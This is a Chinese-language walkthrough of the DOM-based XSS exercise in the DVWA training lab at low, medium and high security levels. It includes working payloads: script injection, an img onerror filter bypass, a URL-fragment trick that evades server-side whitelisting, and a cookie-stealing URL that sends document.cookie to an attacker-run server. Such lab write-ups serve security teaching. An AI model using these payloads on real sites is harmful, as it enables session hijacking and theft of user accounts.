About

Cross Site Scripting(XSS),即跨站脚本攻击,是一种常见的 web 安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份 / 钓鱼 / 传播恶意代码等行为。

XSS 的本质其实是一种“HTML”注入,用户的数据被当做 HTML 代码执行,从而混淆了原本的语义,产生了新的语义。

本节展示的是 DOM 型 XSS,它是基于 DOM 文档对象模型的一种漏洞,也是一种特殊的反射型 XSS

Object

在另一个浏览器运行你的 Javascript 脚本,并窃取用户的登陆状态。

001 Low

该等级下代码没有做任何防护。我们选取下拉菜单,多试几次,发现是 GET 请求,参数在 URL 中传递。我们试一试这个代码:

  1. ?default=<script>alert("You've been hacked!")</script>

1-1.png

如果要窃取 Cookie,则输入下列代码即可:

?default=<script>alert(document.cookie)</script>

1-2.png


在贴近实战的环境下,攻击者是如何获得用户的 Cookie 呢?

首先,攻击者在自己的电脑上运行下列代码,以模拟一个 Web 服务器:

python3 -m http.server 1337

然后攻击者会构造一个 URL,并把它发给受害者:

http://vm-debian.me/dvwa/vulnerabilities/xss_d/?default=<script>window.location='http://192.168.56.1:1337/?cookie='+document.cookie</script>

受害者打开一看?这是什么情况?

1-3.png

然而此时攻击者的服务器已经拿到了 Cookie:

1-4.png

002 Medium

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];

    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?>

该等级下,开发者尝试添加一个简单的模式匹配以移除<script这一类字符串。但我们可以通过别的方式绕过。

1、尝试双写绕过。输入<sc<script>ript>alert(/111/)</script>,引发 302 重定向,弹窗失败。

2-1.png

2、尝试大小写绕过。输入<ScRipt>alert(/121/)</script>,同样引发 302 重定向,弹窗失败。

2-2.png

3、尝试其他标签注入,查阅 Cheat Sheet,可知有<img>注入示例:

2-3.png

结合网页源代码,先闭合<select>复选框,然后构造 Payload:

English</select><img src /onerror = alert(document.cookie)>

弹窗成功:

2-4.png

003 High

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?>

该等级下,开发者在后端严格限制了传入的参数。但我们可以想办法在控制流进入后端之前运行攻击者的恶意代码。

在页面给出的参考文档中,阅读 Advanced Techniques and Derivatives 小节,这里给出了一个新的攻击方法:

http://www.some.site/page.html#default=<script>alert(document.cookie)</script>

我们知道一个前提,浏览器不会把 URL 中#后面的字符串发送给服务器。#符号是一个 URI 分片标志,正常情况它可以用做页面内的描点(书签)。

所以我们可以利用#来构造 Payload,让代码在浏览器端执行:

http://vm-debian.me/dvwa/vulnerabilities/xss_d/#?default=<script>alert(document.cookie)</script>

3-1.png

如果我们进 Brupsuite 看,我们发送的 URL 只要/dvwa/vulnerabilities/xss_d这么一节:

3-2.png

References